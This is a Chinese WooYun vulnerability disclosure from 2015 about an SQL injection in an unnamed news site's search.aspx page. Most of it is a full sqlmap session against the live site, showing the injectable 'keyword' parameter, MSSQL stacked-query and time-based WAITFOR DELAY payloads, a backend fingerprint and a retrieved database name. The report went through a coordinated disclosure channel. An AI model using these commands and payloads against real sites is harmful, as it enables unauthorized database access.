当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134279

漏洞标题:某新闻网主站sql注入漏洞一枚

相关厂商:cncert国家互联网应急中心

漏洞作者: 小沫

提交时间:2015-08-18 21:45

修复时间:2015-10-03 11:22

公开时间:2015-10-03 11:22

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:3

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 细节已通知厂商并且等待厂商处理中
2015-08-19: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-29: 细节向核心白帽子及相关领域专家公开
2015-09-08: 细节向普通白帽子公开
2015-09-18: 细节向实习白帽子公开
2015-10-03: 细节向公众公开

简要描述:

新闻网主站sql注入漏洞一枚

详细说明:

注入点:http://**.**.**.**/search.aspx?chid=13&fieldname=title&keyword=%5Bobject%20HTMLInputElement%5D
C:\Python27\sqlmap>sqlmap.py -u"http://**.**.**.**/search.aspx?chid=13&fieldname=title&keyword=%5Bobject%20HTMLInputElement%5D" --dbs
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://**.**.**.**
[*] starting at: 10:56:27
[10:56:27] [INFO] using 'C:\Python27\sqlmap\output\**.**.**.**\session' as session file
[10:56:27] [INFO] testing connection to the target url
[10:56:29] [INFO] testing if the url is stable, wait a few seconds
[10:56:32] [INFO] url is stable
[10:56:32] [INFO] testing if GET parameter 'chid' is dynamic
sqlmap got a 302 redirect to /user/msg.aspx - What target address do you want to use from now on? http://**.**.**.**:80/search.aspx (default) or provide a
>
[10:56:38] [INFO] confirming that GET parameter 'chid' is dynamic
[10:56:38] [INFO] GET parameter 'chid' is dynamic
[10:56:40] [WARNING] heuristic test shows that GET parameter 'chid' might not be injectable
[10:56:40] [INFO] testing sql injection on GET parameter 'chid'
[10:56:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:57:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:57:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:57:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:57:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:57:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:57:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:57:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:57:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:57:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:57:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:57:52] [INFO] testing 'Oracle AND time-based blind'
[10:57:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:58:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[10:58:10] [WARNING] GET parameter 'chid' is not injectable
[10:58:10] [INFO] testing if GET parameter 'fieldname' is dynamic
[10:58:10] [INFO] confirming that GET parameter 'fieldname' is dynamic
[10:58:10] [INFO] GET parameter 'fieldname' is dynamic
[10:58:10] [WARNING] heuristic test shows that GET parameter 'fieldname' might not be injectable
[10:58:10] [INFO] testing sql injection on GET parameter 'fieldname'
[10:58:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:58:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:58:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:58:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:58:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:58:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:58:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:58:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:58:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:58:21] [INFO] testing 'Oracle AND time-based blind'
[10:58:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:58:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[10:58:32] [WARNING] GET parameter 'fieldname' is not injectable
[10:58:32] [INFO] testing if GET parameter 'keyword' is dynamic
[10:58:33] [INFO] confirming that GET parameter 'keyword' is dynamic
[10:58:35] [INFO] GET parameter 'keyword' is dynamic
[10:58:35] [WARNING] heuristic test shows that GET parameter 'keyword' might not be injectable
[10:58:35] [INFO] testing sql injection on GET parameter 'keyword'
[10:58:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:58:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:59:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:59:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:59:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:59:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:59:42] [INFO] GET parameter 'keyword' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[10:59:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:59:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:59:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[11:00:06] [INFO] GET parameter 'keyword' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[11:00:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[11:00:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:00:07] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
GET parameter 'keyword' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 335 HTTP(s) requests:
---
Place: GET
Parameter: keyword
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: chid=13&fieldname=title&keyword=[object HTMLInputElement]'; WAITFOR DELAY '0:0:5';-- AND 'WeoP'='WeoP
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: chid=13&fieldname=title&keyword=[object HTMLInputElement]' WAITFOR DELAY '0:0:5'-- AND 'Lyhm'='Lyhm
---
[11:01:00] [INFO] testing MySQL
[11:01:01] [WARNING] the back-end DBMS is not MySQL
[11:01:01] [INFO] testing Oracle
[11:01:01] [WARNING] the back-end DBMS is not Oracle
[11:01:01] [INFO] testing PostgreSQL
[11:01:01] [WARNING] the back-end DBMS is not PostgreSQL
[11:01:01] [INFO] testing Microsoft SQL Server
[11:01:14] [INFO] confirming Microsoft SQL Server
[11:01:37] [WARNING] adjusting time delay to 4 seconds
[11:01:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[11:01:47] [INFO] fetching database names
[11:01:47] [INFO] fetching number of databases
[11:01:47] [INFO] retrieved:
[11:01:48] [ERROR] unable to retrieve the number of databases
[11:01:48] [INFO] falling back to current database
[11:01:48] [INFO] fetching current database
[11:01:48] [INFO] retrieved: new_sn
available databases [1]:
[*] new_sn
[11:07:16] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 60 times
[11:07:16] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\output\**.**.**.**'

QQ截图20150815112225.jpg

漏洞证明:

QQ截图20150815112225.jpg

修复方案:

你们能解决的

版权声明:转载请注明来源 小沫@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-19 11:20

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

评论